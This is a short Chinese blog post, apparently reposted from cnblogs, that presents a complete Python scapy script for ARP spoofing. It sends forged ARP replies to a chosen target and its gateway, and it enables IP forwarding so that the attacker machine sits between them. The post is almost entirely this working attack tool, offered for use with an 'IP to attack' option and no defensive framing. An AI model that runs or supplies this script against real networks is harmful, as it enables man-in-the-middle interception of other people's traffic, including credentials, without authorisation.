zoukankan      html  css  js  c++  java
  • python arp欺骗

    使用python构造一个arp欺骗脚本

    import os
    import sys
    from scapy.all import *
    import optparse
    def main():
        usage="usage:[-i interface] [-t IP to attack] [-g Gateway IP]"
        parser=optparse.OptionParser(usage)
        parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')
        parser.add_option('-t',dest='IP',help='You want to attack the IP')
        parser.add_option('-g',dest='gatewayip',help='The IP of the gateway')
        (options,args)=parser.parse_args()
        if options.interface and options.IP and options.gatewayip:
            interface=options.interface
            IP=options.IP
            gatewayip=options.gatewayip
            spoof(interface,IP,gatewayip)
        else:
            parser.print_help()
            sys.exit()
    def spoof(interface,IP,gatewayip):
        benjimac=get_if_hwaddr(interface)
        mubiao=getmacbyip(IP)
        wanguan=getmacbyip(gatewayip)
        ptarget = Ether(src=benjimac, dst=mubiao) / ARP(hwsrc=benjimac, psrc=gatewayip, hwdst=mubiao, pdst=IP, op=2)    #本地-》网关      
        pgateway=Ether(src=benjimac,dst=wanguan)/ARP(hwsrc=benjimac,psrc=IP,hwdst=wanguan,pdst=gatewayip,op=2) #本地-》目标机
        print '[+]Open IP forwarding'
        zhuanfa=os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')    #IP转发  
        try:
            while 1:
              sendp(ptarget, inter=2, iface=interface) #发包
              print "send arp reponse to target(%s),gateway(%s) macaddress is %s" % (gatewayip, gatewayip, benjimac)
              sendp(pgateway, inter=2, iface=interface) #发包
              print "send arp reponse to gateway(%s),target(%s) macaddress is %s" % (IP, IP, benjimac)
        except Exception as f:
            print '[-]Error:',f
            sys.exit()
    if __name__ == '__main__':
        main()
    

      测试图:

  • 相关阅读:
    《将博客搬至CSDN》
    2015-05-01 至 2015-07-30错误总结
    2015-01-01至2015-04-30错误积累
    2015-07-30 至 2016-03-16错误Note
    2014-11-21错误总结
    Spring 和 SpringMVC 的区别
    spring 容器加载
    Spring注解
    自定义拦截器
    Js闭包
  • 原文地址:https://www.cnblogs.com/haq5201314/p/8449101.html
Copyright © 2011-2022 走看看